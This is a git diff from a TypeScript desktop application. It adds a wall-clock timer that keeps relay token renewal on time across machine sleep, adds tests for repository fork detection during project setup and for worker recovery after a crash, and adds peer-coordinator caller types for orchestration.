@@ -199,10 +201,7 @@ export class RelaySessionBroker {
     }
     const publishOffline = this.options.isCurrent()
     this.closed = true
-    if (this.refreshTimer) {
-      clearTimeout(this.refreshTimer)
-      this.refreshTimer = null
-    }
+    this.refreshTimer.cancel()
     this.originPool.closeNow(hostCloseReason)
     this.regionRefresh?.close()
     if (publishOffline) {
@@ -259,11 +258,10 @@ export class RelaySessionBroker {
     const now = (this.options.now ?? Date.now)()
     const random = this.options.random ?? Math.random
     const delay = relayRenewalDelayMs(authorization.expiresAt, now, random)
-    this.refreshTimer = setTimeout(() => void this.refreshAuthorization(), delay)
+    this.refreshTimer.schedule(delay, () => void this.refreshAuthorization())
   }
 
   private async refreshAuthorization(): Promise<void> {
-    this.refreshTimer = null
     try {
       const refresh = await this.options.refreshAccessToken()
       this.assertCurrent()
@@ -287,9 +285,9 @@ export class RelaySessionBroker {
       const now = (this.options.now ?? Date.now)()
       if (!this.closed && this.options.isCurrent() && now <= expiry + 60_000) {
         const random = this.options.random ?? Math.random
-        this.refreshTimer = setTimeout(
-          () => void this.refreshAuthorization(),
-          5_000 + Math.floor(random() * 10_001)
+        this.refreshTimer.schedule(
+          5_000 + Math.floor(random() * 10_001),
+          () => void this.refreshAuthorization()
         )
         return
       }
diff --git a/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.test.ts b/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.test.ts
new file mode 100644
index 00000000000..a5461458549
--- /dev/null
+++ b/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.test.ts
@@ -0,0 +1,45 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { RelayWallClockTimer } from './relay-wall-clock-timer'
+
+function resumeSource(): {
+  subscribe: (onResume: () => void) => () => void
+  resume: () => void
+  count: () => number
+} {
+  const listeners = new Set<() => void>()
+  return {
+    subscribe: (onResume) => {
+      listeners.add(onResume)
+      onResume()
+      return () => listeners.delete(onResume)
+    },
+    resume: () => {
+      for (const listener of Array.from(listeners)) {
+        listener()
+      }
+    },
+    count: () => listeners.size
+  }
+}
+
+describe('RelayWallClockTimer', () => {
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  it('runs a task that fell due during a sleep as soon as the machine resumes', () => {
+    vi.useFakeTimers()
+    let wall = 1_000_000
+    const source = resumeSource()
+    const timer = new RelayWallClockTimer(() => wall, source.subscribe)
+    const task = vi.fn()
+    timer.schedule(180_000, task)
+    // Asleep: the wall clock moves, the timer clock does not.
+    wall += 200_000
+    source.resume()
+    expect(task).toHaveBeenCalledTimes(1)
+    vi.advanceTimersByTime(180_000)
+    expect(task).toHaveBeenCalledTimes(1)
+    expect(source.count()).toBe(0)
+  })
+})
diff --git a/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.ts b/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.ts
new file mode 100644
index 00000000000..da84d170f86
--- /dev/null
+++ b/src/main/runtime/mobile-cloud-relay/relay-wall-clock-timer.ts
@@ -0,0 +1,68 @@
+import { subscribeSystemPowerLifecycle } from '../../power/system-power-lifecycle'
+
+type SubscribeResume = (onResume: () => void) => () => void
+
+const subscribeResume: SubscribeResume = (onResume) =>
+  subscribeSystemPowerLifecycle({ onSuspend: () => {}, onResume })
+
+// A one-shot timer due at a wall-clock time. Node timers run on a clock that stops while the
+// machine sleeps, so a relay token renewal due during a sleep would fire that much later after
+// wake, after the token's wall-clock expiry: the relay then closes the still-live control 4401.
+// On resume, a task already due runs at once; one not yet due is re-armed from the wall clock.
+export class RelayWallClockTimer {
+  private timer: ReturnType<typeof setTimeout> | null = null
+  private unsubscribe: (() => void) | null = null
+  private dueAt = 0
+  private task: (() => void) | null = null
+
+  constructor(
+    private readonly now: () => number = Date.now,
+    private readonly onResume: SubscribeResume = subscribeResume
+  ) {}
+
+  schedule(delayMs: number, task: () => void): void {
+    this.cancel()
+    this.dueAt = this.now() + delayMs
+    this.task = task
+    this.arm(delayMs)
+    // The lifecycle reports the current state on subscribe; only later resumes count. On each
+    // resume a due task runs, and one not yet due is re-armed for the time left on the wall clock
+    // (the timer clock lost the whole sleep).
+    let subscribed = false
+    this.unsubscribe = this.onResume(() => {
+      if (!subscribed || this.task !== task) {
+        return
+      }
+      const left = this.dueAt - this.now()
+      if (left <= 0) {
+        this.fire()
+      } else {
+        this.arm(left)
+      }
+    })
+    subscribed = true
+  }
+
+  cancel(): void {
+    if (this.timer) {
+      clearTimeout(this.timer)
+      this.timer = null
+    }
+    this.unsubscribe?.()
+    this.unsubscribe = null
+    this.task = null
+  }
+
+  private arm(delayMs: number): void {
+    if (this.timer) {
+      clearTimeout(this.timer)
+    }
+    this.timer = setTimeout(() => this.fire(), delayMs)
+  }
+
+  private fire(): void {
+    const task = this.task
+    this.cancel()
+    task?.()
+  }
+}
diff --git a/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts b/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts
index 0054a769df0..2bab325844f 100644
--- a/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts
+++ b/src/main/runtime/orca-runtime-tests/orca-runtime-test-scenario-builders.spec.ts
@@ -218,6 +218,7 @@ function makePostRevealWorkerRecoveryHarness(
   // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This recovery fixture reaches only the listed planner, terminal settlement and authority lookup methods.
   runtime.setOrchestrationDb({
     crewChanges: new CrewChanges(),
+    hasAnyDispatchContexts: () => true,
     listSessionDispatchesForPresentation: () => [],
     reconcileMissingWorkerTerminal: vi.fn(),
     getActiveDispatchForTerminal: () => undefined,
diff --git a/src/main/runtime/orca-runtime-tests/project-setup-folder-remote-identity.spec.ts b/src/main/runtime/orca-runtime-tests/project-setup-folder-remote-identity.spec.ts
index a141ece1665..6251a4fca06 100644
--- a/src/main/runtime/orca-runtime-tests/project-setup-folder-remote-identity.spec.ts
+++ b/src/main/runtime/orca-runtime-tests/project-setup-folder-remote-identity.spec.ts
@@ -1,9 +1,9 @@
 import { realpathSync } from 'node:fs'
-import { describe, expect, it } from 'vitest'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
 import './runtime-test-module-registration.spec'
 import { OrcaRuntimeService } from '../orca-runtime'
 import { execFileSync } from 'node:child_process'
-import { getRepoUpstreamMock } from '../orca-runtime-test-mocks/setup.spec'
+import * as forkMetadata from '../../github/client/fetch/repo-slug-upstream'
 import { join } from 'node:path'
 import { mkdtemp, rm } from 'node:fs/promises'
 import { projectHostSetupProjectionFromRepos } from '../../../shared/project-host-setup-projection'
@@ -12,6 +12,11 @@ import { store } from './orca-runtime-test-fixtures.spec'
 import type { Repo } from '../../../shared/repo-types'
 import type { RuntimeStore } from '../construction/runtime-store-contract'
 
+const parentProbe = vi.spyOn(forkMetadata, 'probeRepoUpstream')
+beforeEach(() => {
+  parentProbe.mockReset().mockResolvedValue({ upstream: undefined, origin: null })
+})
+
 function createRuntime(repos: Repo[]): OrcaRuntimeService {
   const runtimeStore: RuntimeStore = {
     ...store,
@@ -61,7 +66,6 @@ const repoA = { provider: 'github' as const, owner: 'acme', repo: 'repo-a' }
 describe('OrcaRuntimeService project setup of an existing folder (#30663)', () => {
   it('refuses to relabel a folder whose own GitHub remote names another repository', async () => {
     const repos: Repo[] = []
-    getRepoUpstreamMock.mockResolvedValueOnce(null)
     const runtime = createRuntime(repos)
 
     await withGitFolder({ origin: 'https://github.com/acme/repo-b.git' }, async (path) => {
@@ -118,3 +122,447 @@ describe('OrcaRuntimeService project setup of an existing folder (#30663)', () =
     )
   })
 })
+
+describe('explicit fork project setup with deferred ordinary metadata', () => {
+  it.each([
+    ['git@gh-personal:me/repo-a.git', 'github:me/repo-a', undefined, null],
+    [
+      'https://code.corp.example/me/repo-a.git',
+      'github:code.corp.example/me/repo-a',
+      'code.corp.example',
+      undefined
+    ]
+  ] as const)(
+    'keeps a resolved origin nonfork through setup when its local hostname needs resolution: %s',
+    async (url, projectId, host, upstream) => {
+      const repos: Repo[] = []
+      const origin = { owner: 'me', repo: 'repo-a', ...(host ? { host } : {}) }
+      parentProbe.mockResolvedValue({ upstream, origin })
+      const runtime = createRuntime(repos)
+      await withGitFolder({ origin: url }, async (path) => {
+        const result = await runtime.setupProjectExistingFolder({
+          projectId,
+          projectProviderIdentity: { provider: 'github', ...origin },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+        expect(result.project.id).toBe(projectId)
+        expect(result.repo.upstream).toBeNull()
+        expect(
+          projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+        ).toBe(projectId)
+        expect(parentProbe).toHaveBeenCalledTimes(1)
+      })
+    }
+  )
+
+  it.each([
+    ['github:acme/repo-a', { owner: 'acme', repo: 'repo-a' }],
+    ['github:me/repo-a', { owner: 'me', repo: 'repo-a' }]
+  ] as const)(
+    'preserves selected project %s when a hosted parent is known',
+    async (projectId, upstream) => {
+      const repos: Repo[] = []
+      parentProbe.mockResolvedValue({
+        upstream: { owner: 'acme', repo: 'repo-a' },
+        origin: { owner: 'me', repo: 'repo-a' }
+      })
+      const runtime = createRuntime(repos)
+      await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+        const result = await runtime.setupProjectExistingFolder({
+          projectId,
+          projectProviderIdentity: { provider: 'github', ...upstream },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+        expect(result.project.id).toBe(projectId)
+        expect(result.repo.upstream).toEqual(upstream)
+        expect(
+          projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+        ).toBe(projectId)
+        expect(parentProbe).toHaveBeenCalledTimes(1)
+      })
+    }
+  )
+
+  it.each([null, undefined])(
+    'keeps a matching origin nonfork when parent evidence is %s',
+    async (upstream) => {
+      const repos: Repo[] = []
+      parentProbe.mockResolvedValue({ upstream, origin: { owner: 'me', repo: 'repo-a' } })
+      const runtime = createRuntime(repos)
+      await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+        const result = await runtime.setupProjectExistingFolder({
+          projectId: 'github:me/repo-a',
+          projectProviderIdentity: { provider: 'github', owner: 'me', repo: 'repo-a' },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+        expect(result.project.id).toBe('github:me/repo-a')
+        expect(result.repo.upstream).toBeNull()
+        expect(
+          projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+        ).toBe('github:me/repo-a')
+        expect(parentProbe).toHaveBeenCalledTimes(1)
+        const again = await runtime.setupProjectExistingFolder({
+          projectId: 'github:me/repo-a',
+          projectProviderIdentity: { provider: 'github', owner: 'me', repo: 'repo-a' },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+        expect(again.repo.upstream).toBeNull()
+        expect(parentProbe).toHaveBeenCalledTimes(1)
+      })
+    }
+  )
+})
+
+it('completes parent-selected setup while unrelated background metadata remains pending', async () => {
+  await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+    const repos: Repo[] = [
+      {
+        id: 'blocker',
+        path: '/blocked',
+        displayName: 'blocker',
+        badgeColor: 'blue',
+        addedAt: 1,
+        kind: 'git'
+      }
+    ]
+    const runtime = createRuntime(repos)
+    const gate = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+    parentProbe
+      .mockImplementationOnce(() => gate.promise)
+      .mockResolvedValue({
+        upstream: { owner: 'acme', repo: 'repo-a' },
+        origin: { owner: 'me', repo: 'repo-a' }
+      })
+    const background = runtime.repositoryForkBackfill.enqueue(repos)
+    try {
+      const result = await runtime.setupProjectExistingFolder({
+        projectId: 'github:acme/repo-a',
+        projectProviderIdentity: repoA,
+        hostId: 'runtime:env-1',
+        path,
+        kind: 'git'
+      })
+      expect(result.project.id).toBe('github:acme/repo-a')
+      expect(repos[0].upstream).toBeUndefined()
+      expect(parentProbe).toHaveBeenCalledTimes(2)
+    } finally {
+      gate.resolve({ upstream: null, origin: null })
+      await background
+    }
+  })
+})
+
+it.each([false, true])(
+  'refuses changed current origin after an unavailable lookup (pre-existing=%s)',
+  async (existing) => {
+    await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+      const repos: Repo[] = []
+      if (existing) {
+        repos.push({
+          id: 'selected',
+          path: realpathSync(path),
+          displayName: 'repo-a',
+          badgeColor: 'blue',
+          addedAt: 1,
+          kind: 'git',
+          executionHostId: 'runtime:env-1',
+          gitRemoteIdentity: {
+            canonicalKey: 'github.com/me/repo-a',
+            remoteName: 'origin',
+            remoteUrl: 'https://github.com/me/repo-a.git'
+          }
+        })
+      }
+      const runtime = createRuntime(repos)
+      const gate = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+      const started = Promise.withResolvers<void>()
+      parentProbe.mockImplementationOnce(() => {
+        started.resolve()
+        return gate.promise
+      })
+      const setup = runtime.setupProjectExistingFolder({
+        projectId: 'github:me/repo-a',
+        projectProviderIdentity: { provider: 'github', owner: 'me', repo: 'repo-a' },
+        hostId: 'runtime:env-1',
+        path,
+        kind: 'git'
+      })
+      const rejection = expect(setup).rejects.toThrow(/points at other\/repo-a, not me\/repo-a/)
+      await started.promise
+      execFileSync('git', ['remote', 'set-url', 'origin', 'https://github.com/other/repo-a.git'], {
+        cwd: path,
+        stdio: 'ignore'
+      })
+      gate.resolve({ upstream: undefined, origin: { owner: 'me', repo: 'repo-a' } })
+      await rejection
+      expect(repos).toHaveLength(existing ? 1 : 0)
+      expect(parentProbe).toHaveBeenCalledTimes(1)
+    })
+  }
+)
+
+it.each([
+  [
+    'older automatic avatar',
+    {
+      type: 'image',
+      source: 'github',
+      src: 'https://ghe.corp.example/old.png?size=64',
+      label: 'old/repo-a'
+    },
+    { host: 'ghe.corp.example', owner: 'new', repo: 'repo-a' }
+  ],
+  [
+    'protected image',
+    {
+      type: 'image',
+      source: 'file',
+      src: 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII='
+    },
+    null
+  ]
+] as const)(
+  'links a current enterprise remote despite unavailable metadata and a retained %s',
+  async (_label, repoIcon, upstream) => {
+    await withGitFolder({ origin: 'https://ghe.corp.example/new/repo-a.git' }, async (path) => {
+      const repos: Repo[] = [
+        {
+          id: 'selected',
+          path: realpathSync(path),
+          displayName: 'repo-a',
+          badgeColor: 'blue',
+          addedAt: 1,
+          kind: 'git',
+          executionHostId: 'runtime:env-1',
+          gitRemoteIdentity: {
+            canonicalKey: 'ghe.corp.example/old/repo-a',
+            remoteName: 'origin',
+            remoteUrl: 'https://ghe.corp.example/old/repo-a.git'
+          },
+          repoIcon
+        }
+      ]
+      const runtime = createRuntime(repos)
+      const result = await runtime.setupProjectExistingFolder({
+        projectId: 'github:ghe.corp.example/new/repo-a',
+        projectProviderIdentity: {
+          provider: 'github',
+          host: 'ghe.corp.example',
+          owner: 'new',
+          repo: 'repo-a'
+        },
+        hostId: 'runtime:env-1',
+        path,
+        kind: 'git'
+      })
+      expect(result.project.id).toBe('github:ghe.corp.example/new/repo-a')
+      expect(repos[0].upstream).toEqual(upstream)
+      expect(repos[0].repoIcon).toEqual(repoIcon)
+      expect(
+        projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+      ).toBe('github:ghe.corp.example/new/repo-a')
+    })
+  }
+)
+
+it('retains matching null authority when a nonfork result settles during setup', async () => {
+  await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+    const repos: Repo[] = []
+    const runtime = createRuntime(repos)
+    const gate = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+    const started = Promise.withResolvers<void>()
+    parentProbe.mockImplementationOnce(() => {
+      started.resolve()
+      return gate.promise
+    })
+    const setup = runtime.setupProjectExistingFolder({
+      projectId: 'github:me/repo-a',
+      projectProviderIdentity: { provider: 'github', owner: 'me', repo: 'repo-a' },
+      hostId: 'runtime:env-1',
+      path,
+      kind: 'git'
+    })
+    await started.promise
+    execFileSync('git', ['remote', 'set-url', 'origin', 'https://github.com/other/repo-a.git'], {
+      cwd: path,
+      stdio: 'ignore'
+    })
+    gate.resolve({ upstream: null, origin: { owner: 'me', repo: 'repo-a' } })
+    const result = await setup
+    expect(result.project.id).toBe('github:me/repo-a')
+    expect(result.repo.upstream).toBeNull()
+    expect(
+      projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+    ).toBe('github:me/repo-a')
+  })
+})
+
+it('publishes metadata retained on a pre-existing row after explicit setup fails', async () => {
+  await withGitFolder({ origin: 'https://github.com/me/repo-a.git' }, async (path) => {
+    const repos: Repo[] = [
+      {
+        id: 'selected',
+        path: realpathSync(path),
+        displayName: 'repo-a',
+        badgeColor: 'blue',
+        addedAt: 1,
+        kind: 'git',
+        executionHostId: 'runtime:env-1'
+      }
+    ]
+    const runtime = createRuntime(repos)
+    parentProbe.mockResolvedValue({
+      upstream: { owner: 'acme', repo: 'repo-a' },
+      origin: { owner: 'me', repo: 'repo-a' }
+    })
+    const notifications: string[] = []
+    const unsubscribe = runtime.onClientEvent((event) => {
+      if (event.type === 'reposChanged') {
+        notifications.push(event.type)
+      }
+    })
+    try {
+      await expect(
+        runtime.setupProjectExistingFolder({
+          projectId: 'github:elsewhere/repo-a',
+          projectProviderIdentity: { provider: 'github', owner: 'elsewhere', repo: 'repo-a' },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+      ).rejects.toThrow(/points at me\/repo-a, not elsewhere\/repo-a/)
+      expect(repos).toHaveLength(1)
+      expect(repos[0].upstream).toEqual({ owner: 'acme', repo: 'repo-a' })
+      expect(notifications).toEqual(['reposChanged'])
+      expect(parentProbe).toHaveBeenCalledTimes(1)
+    } finally {
+      unsubscribe()
+    }
+  })
+})
+
+it.each(['recovered parent', 'unavailable'] as const)(
+  'settles an explicit origin after ordinary alias enrichment: %s',
+  async (evidence) => {
+    await withGitFolder({ origin: 'git@gh-personal:me/repo-a.git' }, async (path) => {
+      const repos: Repo[] = []
+      const runtime = createRuntime(repos)
+      const origin = { owner: 'me', repo: 'repo-a' }
+      const ordinary = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+      const ordinaryStarted = Promise.withResolvers<void>()
+      const ordinaryFinished = Promise.withResolvers<void>()
+      const required = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+      const requiredStarted = Promise.withResolvers<void>()
+      parentProbe
+        .mockImplementationOnce(() => {
+          ordinaryStarted.resolve()
+          return ordinary.promise
+        })
+        .mockImplementationOnce(() => {
+          requiredStarted.resolve()
+          return required.promise
+        })
+      const unsubscribe = runtime.onClientEvent((event) => {
+        if (event.type === 'reposChanged' && repos[0]?.repoIcon?.type === 'image') {
+          ordinaryFinished.resolve()
+        }
+      })
+      try {
+        const added = await runtime.addRepo(path, 'git', 'runtime:env-1')
+        await ordinaryStarted.promise
+        ordinary.resolve({ upstream: undefined, origin })
+        await ordinaryFinished.promise
+        expect(added.id).toBe(repos[0].id)
+        expect(repos[0].gitRemoteIdentity).toEqual({
+          canonicalKey: 'gh-personal/me/repo-a',
+          remoteName: 'origin',
+          remoteUrl: 'git@gh-personal:me/repo-a.git'
+        })
+        expect(repos[0].repoIcon).toEqual({
+          type: 'image',
+          source: 'github',
+          src: 'https://github.com/me.png?size=64',
+          label: 'me/repo-a'
+        })
+        expect(repos[0].upstream).toBeUndefined()
+
+        const setup = runtime.setupProjectExistingFolder({
+          projectId: 'github:me/repo-a',
+          projectProviderIdentity: { provider: 'github', ...origin },
+          hostId: 'runtime:env-1',
+          path,
+          kind: 'git'
+        })
+        await requiredStarted.promise
+        const completion = runtime.repositoryForkBackfill.resolve(repos[0])
+        required.resolve({
+          upstream: evidence === 'recovered parent' ? { owner: 'acme', repo: 'repo-a' } : undefined,
+          origin
+        })
+        const result = await setup
+        await completion
+        expect(result.project.id).toBe('github:me/repo-a')
+        expect(result.repo.upstream).toEqual(evidence === 'recovered parent' ? origin : null)
+        parentProbe.mockResolvedValue({ upstream: { owner: 'acme', repo: 'repo-a' }, origin })
+        await runtime.repositoryForkBackfill.run()
+        expect(repos[0].upstream).toEqual(evidence === 'recovered parent' ? origin : null)
+        expect(
+          projectHostSetupProjectionFromRepos(JSON.parse(JSON.stringify(repos))).setups[0].projectId
+        ).toBe('github:me/repo-a')
+      } finally {
+        ordinary.resolve({ upstream: undefined, origin })
+        required.resolve({ upstream: undefined, origin })
+        unsubscribe()
+      }
+    })
+  }
+)
+
+it('accepts remote-less saved-avatar equality without a required probe or new stamp', async () => {
+  await withGitFolder({}, async (path) => {
+    const repos: Repo[] = [
+      {
+        id: 'legacy',
+        path: realpathSync(path),
+        displayName: 'repo-a',
+        badgeColor: 'blue',
+        addedAt: 1,
+        kind: 'git',
+        executionHostId: 'runtime:env-1',
+        repoIcon: {
+          type: 'image',
+          source: 'github',
+          src: 'https://github.com/me.png?size=64',
+          label: 'me/repo-a'
+        }
+      }
+    ]
+    const runtime = createRuntime(repos)
+    const background = Promise.withResolvers<forkMetadata.RepoUpstreamProbe>()
+    parentProbe.mockImplementationOnce(() => background.promise)
+    try {
+      const result = await runtime.setupProjectExistingFolder({
+        projectId: 'github:me/repo-a',
+        projectProviderIdentity: { provider: 'github', owner: 'me', repo: 'repo-a' },
+        hostId: 'runtime:env-1',
+        path,
+        kind: 'git'
+      })
+      expect(result.project.id).toBe('github:me/repo-a')
+      expect(result.repo.upstream).toBeUndefined()
+    } finally {
+      const completion = runtime.repositoryForkBackfill.resolve(repos[0])
+      background.resolve({ upstream: undefined, origin: null })
+      await completion
+    }
+    expect(repos[0].upstream).toBeUndefined()
+  })
+})
diff --git a/src/main/runtime/orca-runtime-tests/worker-recovery-releases-conversation.test.ts b/src/main/runtime/orca-runtime-tests/worker-recovery-releases-conversation.test.ts
new file mode 100644
index 00000000000..eb2bdf71f46
--- /dev/null
+++ b/src/main/runtime/orca-runtime-tests/worker-recovery-releases-conversation.test.ts
@@ -0,0 +1,94 @@
+import { describe, expect, it, vi } from 'vitest'
+import './runtime-test-module-registration.spec'
+import './orca-runtime-test-lifecycle.spec'
+import { OrcaRuntimeService } from '../orca-runtime'
+import { OrchestrationDb } from '../orchestration/db/orchestration-db'
+import { withDurableRuntimeStore } from './runtime-durable-store-fixture'
+import {
+  TEST_WORKTREE_ID,
+  makeRuntimeStoreWithWorkspaceSession,
+  makeWorkspaceSessionWithHeadlessTerminal
+} from './orca-runtime-test-fixtures.spec'
+import type { AgentStatusIpcPayload } from '../../../shared/agent-status/contracts/agent-status-ipc-payload'
+
+const SESSION = { key: 'session_id', id: 'grok-session-1' } as const
+const DEAD_PANE_KEY = 'crashed-reopen-tab:44444444-4444-4444-8444-444444444444'
+
+describe('worker terminal recovery after a crash', () => {
+  it('lets the conversation of a worker whose terminal died with Orca be reopened', async () => {
+    // A restored hook row from before the crash; this agent reports no process to probe.
+    const hookRows = new Map<string, AgentStatusIpcPayload>([
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the resume guards read only paneKey, providerSession and the observation clocks.
+      [DEAD_PANE_KEY, { paneKey: DEAD_PANE_KEY, providerSession: SESSION, receivedAt: 1 } as never]
+    ])
+    const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession(
+      makeWorkspaceSessionWithHeadlessTerminal()
+    )
+    const runtime = new OrcaRuntimeService(
+      withDurableRuntimeStore({ ...runtimeStore, flushOrThrow: vi.fn() }),
+      undefined,
+      {
+        canRecoverPersistentLocalPtys: () => true,
+        getDesktopWindowStatus: () => 'openable',
+        getAgentProviderSessionSnapshot: () => [...hookRows.values()],
+        checkHookAgentPresence: async () => null,
+        reconcileAgentStatusForEndedProcess: (paneKeys) => {
+          for (const paneKey of paneKeys) {
+            hookRows.delete(paneKey)
+          }
+        }
+      }
+    )
+    const db = new OrchestrationDb(':memory:')
+    try {
+      const run = db.createRun({
+        objective: 'crash',
+        coordinatorHandle: 'term_coordinator',
+        coordinatorPaneKey: 'tab_c:leaf_c'
+      })
+      const task = db.createTask({ spec: 'follow up', runId: run.id })
+      const started = db.createStartingWorkerDispatch({
+        creator: { kind: 'system' },
+        maxDepth: Number.MAX_SAFE_INTEGER,
+        taskId: task.id,
+        startOptions: { topology: 'current', agent: 'grok' }
+      })
+      db.prepareStartingWorkerAuthority({
+        dispatchId: started.dispatch.id,
+        handle: 'term_crashed_reopen',
+        paneKey: DEAD_PANE_KEY,
+        processIncarnation: 'pty-crashed:55555555-5555-4555-8555-555555555555',
+        worktreeId: TEST_WORKTREE_ID,
+        setupState: 'not_applicable',
+        effects: []
+      })
+      db.markWorkerDispatchReady(started.dispatch.id)
+      runtime.setOrchestrationDb(db)
+      runtime.setPtyController({
+        spawn: vi.fn(async () => ({ id: 'resumed-pty' })),
+        write: () => true,
+        kill: () => true,
+        getForegroundProcess: async () => null,
+        hasPty: () => false,
+        listProcesses: async () => []
+      })
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: recovery calls only this notifier method.
+      runtime.setNotifier({ resolveLegacyWorkerTerminalRecovery: vi.fn() } as never)
+
+      await expect(runtime.reconcileLegacyWorkerTerminals()).resolves.toMatchObject({
+        exitedDispatchIds: [started.dispatch.id]
+      })
+
+      await expect(
+        runtime.resumeAgentSessionInWorkspace(TEST_WORKTREE_ID, {
+          agent: 'grok',
+          providerSession: SESSION,
+          captureHostId: 'local',
+          mutationId: 'next-follow-up'
+        })
+      ).resolves.toMatchObject({ ok: true })
+    } finally {
+      db.close()
+    }
+  })
+})
diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts
index aeebd8bad02..456f346a079 100644
--- a/src/main/runtime/orca-runtime.ts
+++ b/src/main/runtime/orca-runtime.ts
@@ -62,6 +62,7 @@ import { getHostDisplayLabelOverrides } from '../../shared/host-setting-override
 import type { OrchestrationDb } from './orchestration/db/orchestration-db'
 import { continueRestoredWorkerMailSoon } from './rpc/methods/orchestration/messaging/settled-worker-follow-through'
 import { PeerMailRelay } from './orchestration/federation/peer-mail/peer-mail-relay'
+import { structuredAgentSessionHostTabId } from '../../shared/agent-session/view/structured-agent-session-host-tab-id'
 
 const OrcaRuntimeSidebarBase: typeof OrcaRuntimeWithAgentTransitions = ORCA_SIDEBAR_INPUTS_IS_MAIN
   ? OrcaRuntimeWithSidebarTemporal
@@ -222,6 +223,13 @@ class OrcaRuntimeService extends OrcaRuntimeSidebarBase {
     return this.notifier.publishAgentLaunchTab(request)
   }
 
+  /** The window follows a listed active chat only on its own intent (#5435), so a focused launch names it. */
+  focusLaunchedChatInHostWindow(worktreeId: string, sessionId: string): void {
+    this.notifier?.focusEditorTab?.(structuredAgentSessionHostTabId(sessionId), worktreeId, {
+      userInitiated: true
+    })
+  }
+
   /** Retain final verdicts, clear settled ones, and remove withdrawn panes without removing split siblings. */
   reportAgentLaunchPaneVerdict(
     pane: AgentLaunchPaneAddress,
diff --git a/src/main/runtime/orchestration/addressing/orchestration-caller-identity.ts b/src/main/runtime/orchestration/addressing/orchestration-caller-identity.ts
index 5d5c12dd857..232428348e0 100644
--- a/src/main/runtime/orchestration/addressing/orchestration-caller-identity.ts
+++ b/src/main/runtime/orchestration/addressing/orchestration-caller-identity.ts
@@ -1,4 +1,5 @@
 import type { RunRow } from '../db/orchestration-records'
+import type { PeerRunRow } from '../db/peer-runs/peer-run-store'
 import { isEquivalentPaneKey } from '../db/pane-key-match'
 import { currentRunCoordinatorOrcaSessionId } from '../db/runs/run-coordinator-orca-session'
 import {
@@ -16,6 +17,7 @@ export type OrchestrationCoordinatorKey = Pick<
 /** A caller the dispatch entry resolved from the Orca session id in its injected environment. */
 export type OrchestrationSessionCaller = OrchestrationCallerIdentity &
   Readonly<{
+    kind?: undefined
     orcaSessionId: OrcaSessionId
     /** The session record the request came from. */
     sessionId: OrcaSessionId
@@ -23,6 +25,50 @@ export type OrchestrationSessionCaller = OrchestrationCallerIdentity &
     workspaceId: string
   }>
 
+/** A paired Orca acting as the coordinator of its Run here, as its authenticated frame names it.
+ *  Its handle and binding key are its address, which no terminal or session here can have. */
+export type OrchestrationPeerCaller = OrchestrationCallerIdentity &
+  Readonly<{
+    kind: 'peer'
+    terminalHandle: string
+    paneKey: string
+    orcaSessionId: null
+    peerRun: PeerRunRow
+  }>
+
+/** The caller the dispatch entry resolved, which wins over any declared handle: a session from
+ *  its environment, or a paired Orca from its pairing. */
+export type OrchestrationEntryCaller = OrchestrationSessionCaller | OrchestrationPeerCaller
+
+/** The address, and Run binding key, of the paired Orca coordinating a conversation's Run here. */
+export function peerCoordinatorAddress(conversationId: string): string {
+  return `${PEER_ADDRESS_PREFIX}${conversationId}`
+}
+
+const PEER_ADDRESS_PREFIX = 'peer:'
+
+export function isPeerCoordinatorAddress(value: string | null | undefined): boolean {
+  return !!value?.startsWith(PEER_ADDRESS_PREFIX)
+}
+
+export function peerCoordinatorCaller(peerRun: PeerRunRow): OrchestrationPeerCaller {
+  const address = peerCoordinatorAddress(peerRun.conversation_id)
+  return Object.freeze({
+    kind: 'peer',
+    address,
+    terminalHandle: address,
+    paneKey: address,
+    orcaSessionId: null,
+    peerRun
+  })
+}
+
+export function isPeerCaller(
+  caller: OrchestrationCallerIdentity | null | undefined
+): caller is OrchestrationPeerCaller {
+  return !!caller && 'kind' in caller && caller.kind === 'peer'
+}
+
 /** A caller with neither a pane nor an Orca session id can never be bound to a Run. */
 export function hasRunBindingKey(caller: OrchestrationCoordinatorKey): boolean {
   return caller.paneKey !== null || caller.orcaSessionId !== null
